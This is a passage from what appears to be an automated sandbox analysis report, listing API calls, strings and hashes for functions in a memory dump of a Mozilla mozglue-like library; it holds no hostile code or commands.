Part of subcall function 6CB0AB89: EnterCriticalSection.KERNEL32(6CB5E370,?,?,?,6CAD34DE,6CB5F6CC,?,?,?,?,?,?,?,6CAD3284), ref: 6CB0AB94
Part of subcall function 6CB0AB89: LeaveCriticalSection.KERNEL32(6CB5E370,?,6CAD34DE,6CB5F6CC,?,?,?,?,?,?,?,6CAD3284,?,?,6CAF56F6), ref: 6CB0ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CAE97B7
FreeLibrary.KERNEL32 ref: 6CAE97D0
FreeLibrary.KERNEL32 ref: 6CAE97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAE9824

Strings

MapViewOfFileNuma2, xrefs: 6CAE97B1
NtMapViewOfSection, xrefs: 6CAE9701
ntdll.dll, xrefs: 6CAE96E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CAE9670

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 6a85cbb8f6784ba8e28b624b0b9846f08e1304b32d2af979ef270a28107c5124
Instruction ID: 688cbd2cc66ae19c7f876d174ff06f20a74e7cc8562d82b15c4cb6d5f077384a
Opcode Fuzzy Hash: 6a85cbb8f6784ba8e28b624b0b9846f08e1304b32d2af979ef270a28107c5124
Instruction Fuzzy Hash: CF4179B57003459FDF009FA5E984E9ABBB4EB49328F844529ED1597740E730A858CFE1

Function 6CAD1E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB5E784), ref: 6CAD1EC1
LeaveCriticalSection.KERNEL32(6CB5E784), ref: 6CAD1EE1
EnterCriticalSection.KERNEL32(6CB5E744), ref: 6CAD1F38
LeaveCriticalSection.KERNEL32(6CB5E744), ref: 6CAD1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6CAD1F83
LeaveCriticalSection.KERNEL32(6CB5E784), ref: 6CAD1FC0
EnterCriticalSection.KERNEL32(6CB5E784), ref: 6CAD1FE2
LeaveCriticalSection.KERNEL32(6CB5E784), ref: 6CAD1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CAD2019

Strings

MOZ_CRASH(), xrefs: 6CAD2000

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: 613ac8541045aca6472cbc135fb119c95ce4581da0d551e5b0f0ebf025914edb
Instruction ID: 7e65ad259d30df70c29d3f14c7c66cdb9ca51704d43e69770c2b319695adace8
Opcode Fuzzy Hash: 613ac8541045aca6472cbc135fb119c95ce4581da0d551e5b0f0ebf025914edb
Instruction Fuzzy Hash: DE41E275B043998FDF019F68C888BBE3BB5EB59318F490026EA0597741DB75A844CBD2

Function 6CAE7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAE7EA7
malloc.MOZGLUE(00000001), ref: 6CAE7EB3

Part of subcall function 6CAECAB0: EnterCriticalSection.KERNEL32(?), ref: 6CAECB49
Part of subcall function 6CAECAB0: LeaveCriticalSection.KERNEL32(?), ref: 6CAECBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CAE7EC4
mozalloc_abort.MOZGLUE(?), ref: 6CAE7F19
malloc.MOZGLUE(?), ref: 6CAE7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CAE7F4D

Strings

d, xrefs: 6CAE7F89

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 2f221a330926b3f4ff96e53ec547af49ff51a5642750eb3ffc9dc73044d62f01
Instruction ID: 16b8385c006224c2be2978b2059e1a340111833a1aab63178afb64235e2c6a15
Opcode Fuzzy Hash: 2f221a330926b3f4ff96e53ec547af49ff51a5642750eb3ffc9dc73044d62f01
Instruction Fuzzy Hash: 9131C361E042989BDB019F78DC049FEB778EF9A218F449629EC4997612FB30A5C8C390

Function 6CAE3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6CAE3EEE
RtlFreeHeap.NTDLL ref: 6CAE3FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6CAE4006
RtlFreeHeap.NTDLL ref: 6CAE40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CAE3CCC), ref: 6CAE40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CAE3CCC), ref: 6CAE40C2
RtlFreeHeap.NTDLL ref: 6CAE4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6CAE3CCC), ref: 6CAE4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6CAE3CCC), ref: 6CAE4157

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 9ca4272df721e54e16ea949ff204f59cf6db2ba0bf3c58208cb9dfb021cca6a6
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 99A19EB1A01205CFDB40CF69C880659B7B9FF4C318F2941A9D909AF752D776E886DBE0

Function 6CB29D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB28273), ref: 6CB29D65
free.MOZGLUE(6CB28273,?), ref: 6CB29D7C
free.MOZGLUE(?,?), ref: 6CB29D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CB29E0F
free.MOZGLUE(6CB2946B,?,?), ref: 6CB29E24
free.MOZGLUE(?,?,?), ref: 6CB29E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CB29EC8
free.MOZGLUE(6CB2946B,?,?,?), ref: 6CB29EDF
free.MOZGLUE(?,?,?,?), ref: 6CB29EF5

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 7041b0fa818e1abf0f4cb491ffd88ac0ed68a04c627bc9d9a76ba43ef88dabb3
Instruction ID: 6d4207fe9922a60b1f1a7a58c74ec5b29469c98b8bbbcb305bc4d776f83e04ba
Opcode Fuzzy Hash: 7041b0fa818e1abf0f4cb491ffd88ac0ed68a04c627bc9d9a76ba43ef88dabb3
Instruction Fuzzy Hash: EE718E70909B818BD712CF18C58056BF7F4FF99315B449619E89E5BB01EB34E8CACB81

Function 6CB2DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CB2DDCF

Part of subcall function 6CB0FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB0FA4B

Part of subcall function 6CB290E0: free.MOZGLUE(?,00000000,?,?,6CB2DEDB), ref: 6CB290FF
Part of subcall function 6CB290E0: free.MOZGLUE(?,00000000,?,?,6CB2DEDB), ref: 6CB29108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB2DE0D
free.MOZGLUE(00000000), ref: 6CB2DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB2DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB2DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB2DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CB1DEFD,?,6CAE4A68), ref: 6CB2DF32

Part of subcall function 6CB2DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CB2DB86
Part of subcall function 6CB2DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CB2DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CB1DEFD,?,6CAE4A68), ref: 6CB2DF65
free.MOZGLUE(?), ref: 6CB2DF80

Part of subcall function 6CAF5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAF5EDB
Part of subcall function 6CAF5E90: memset.VCRUNTIME140(6CB37765,000000E5,55CCCCCC), ref: 6CAF5F27
Part of subcall function 6CAF5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAF5FB2

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: c64227e0bb29f3ca4525fd0e72b8610b0b29f6a7498aa74f2c64c202aa30cc1c
Instruction ID: de050b97d9174261db0316e903cf68c6a3c07ce36712a9169c0dcf7f1b14d52c
Opcode Fuzzy Hash: c64227e0bb29f3ca4525fd0e72b8610b0b29f6a7498aa74f2c64c202aa30cc1c
Instruction Fuzzy Hash: 0351A6726016409BDB219F38E8806BEB376FF95318F95051CD85E53B00D739F95ACB92

Function 6CB35D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CB35C8C,?,6CB0E829), ref: 6CB35D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CB35C8C,?,6CB0E829), ref: 6CB35D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CB35C8C,?,6CB0E829), ref: 6CB35D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CB35C8C,?,6CB0E829), ref: 6CB35D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CB35C8C,?,6CB0E829), ref: 6CB35DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CB35C8C,?,6CB0E829), ref: 6CB35DC9
std::_Facet_Register.LIBCPMT ref: 6CB35DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CB35C8C,?,6CB0E829), ref: 6CB35E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CB35C8C,?,6CB0E829), ref: 6CB35E45

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 5bd2f2a32c0c0d38c6248e675c2970317be4b66dccdee856744aba022e019ab3
Instruction ID: 75654083c8a49dbdc718b7539de40a009029c354787a6376da1eb3ccf9bedb77
Opcode Fuzzy Hash: 5bd2f2a32c0c0d38c6248e675c2970317be4b66dccdee856744aba022e019ab3
Instruction Fuzzy Hash: 99418F307002658FCB01DF65C898EAE77B9FF89314F544068E50A9B791EB34EC09CB65

Function 6CB0CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CAD31A7), ref: 6CB0CDDD

Strings

<jemalloc>, xrefs: 6CB0CF9F, 6CB0CFB3
: (malloc) Error in VirtualFree(), xrefs: 6CB0CFA4, 6CB0CFB8

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: cca4e069328eb0639c6f3f0a03d8e369c9aa93da98abe63dfcaf1c1c85d1679d
Instruction ID: 216a60c3df00ea49e62d8ad0688802e782fbc1d520f2941371a0464277411044
Opcode Fuzzy Hash: cca4e069328eb0639c6f3f0a03d8e369c9aa93da98abe63dfcaf1c1c85d1679d
Instruction Fuzzy Hash: 9031B031B402855BEF10AFA98C45BAE7F75EF41B58F744018F610ABA80DB71E8048BB3

Function 6CADECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CADF100: LoadLibraryW.KERNEL32(shell32,?,6CB4D020), ref: 6CADF122
Part of subcall function 6CADF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CADF132

moz_xmalloc.MOZGLUE(00000012), ref: 6CADED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CADEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CADEDCC
CreateFileW.KERNEL32 ref: 6CADEE08
free.MOZGLUE(00000000), ref: 6CADEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CADEE32

Part of subcall function 6CADEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CADEBB5
Part of subcall function 6CADEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CB0D7F3), ref: 6CADEBC3
Part of subcall function 6CADEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CB0D7F3), ref: 6CADEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CADEDC1

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: f1e855f9e969f9a0f1717e807e97708d944338a6e17d92d3357e3b94d0b63ffa
Instruction ID: 78e07247c7a9f64ec29c32f76c987d2c68eeb66b1c4c30c7aa53f86745f40b2d
Opcode Fuzzy Hash: f1e855f9e969f9a0f1717e807e97708d944338a6e17d92d3357e3b94d0b63ffa
Instruction Fuzzy Hash: 8051D271D053459BDB00DF68C9406EEF7B1AF49318F49852DE8956B740EB34B988C7E2

Function 6CB4A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CB4A565

Part of subcall function 6CB4A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB4A4BE
Part of subcall function 6CB4A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB4A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CB4A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CB4A6B6

Strings

z, xrefs: 6CB4A6AE
0, xrefs: 6CB4A5FB

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: fa3d2a1fbba98c69ce423640dc94862bd84eea15ea7750a8e3d233e8b1fdc34f
Instruction ID: 9c9204102bd78458acbabac19bc1041a4da10eb5afeb1352eea262e2e1225a54
Opcode Fuzzy Hash: fa3d2a1fbba98c69ce423640dc94862bd84eea15ea7750a8e3d233e8b1fdc34f
Instruction Fuzzy Hash: BF4126719087859FC341DF28C080A8FBBE5FF89354F408A2EE49987654EB30E549DB83

Function 6CB19420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CB0AB89: EnterCriticalSection.KERNEL32(6CB5E370,?,?,?,6CAD34DE,6CB5F6CC,?,?,?,?,?,?,?,6CAD3284), ref: 6CB0AB94
Part of subcall function 6CB0AB89: LeaveCriticalSection.KERNEL32(6CB5E370,?,6CAD34DE,6CB5F6CC,?,?,?,?,?,?,?,6CAD3284,?,?,6CAF56F6), ref: 6CB0ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAE4A68), ref: 6CB1945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB19470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB19482
__Init_thread_footer.LIBCMT ref: 6CB1949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CB1946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CB19459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CB1947D

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 7f90b89df87ffeca80f6c776fce4ed2151e7d8023295fc8520afa7df27bb32cd
Instruction ID: 7b35ed04317d0972d62b8fdc7354661ffb71f85c895f475477881029d82a3ffb
Opcode Fuzzy Hash: 7f90b89df87ffeca80f6c776fce4ed2151e7d8023295fc8520afa7df27bb32cd
Instruction Fuzzy Hash: D101D474F041818BD7109F6ED811A5A73BAEB0A33DF480936ED0B87F41E621E864899B

Function 6CADB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6CADB61E,?,?,?,?,?,00000000), ref: 6CADB6AC

Part of subcall function 6CAECA10: malloc.MOZGLUE(?), ref: 6CAECA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CADB61E,?,?,?,?,?,00000000), ref: 6CADB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6CADB61E,?,?,?,?,?,00000000), ref: 6CADB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CADB61E,?,?,?,?,?,00000000), ref: 6CADB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6CADB61E,?,?,?,?,?,00000000), ref: 6CADB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6CADB61E), ref: 6CADB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6CADB61E,?,?,?,?,?,00000000), ref: 6CADB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6CADB61E,?,?,?,?,?,00000000), ref: 6CADB79A

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 25cc72d902119037f17899e110c599daac01a0cc3012cb4974ad52912875c4b8
Instruction ID: 664b3ce2a645a8cbb0ceaf7590155c42d50a0e65ebc49d8d4a34ad2040f55a1d
Opcode Fuzzy Hash: 25cc72d902119037f17899e110c599daac01a0cc3012cb4974ad52912875c4b8
Instruction Fuzzy Hash: 7441B4B2D001159FCB04DF68EC805AFB7B5BB44324F2A0729E825E7780E731A94487D1

Function 6CB4B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CB4B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CB4B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CB4B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CB4B5F4
__Init_thread_footer.LIBCMT ref: 6CB4B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CB4B61F
std::_Facet_Register.LIBCPMT ref: 6CB4B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB4B655

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 329e7fc1c37a621cbc185f016b8a4fb2db42528188e39322233e92b978dd118f
Instruction ID: eb8492606fd2b15814a4eae2905f000a74bf9a815924b56d123f31cc0b2dc371
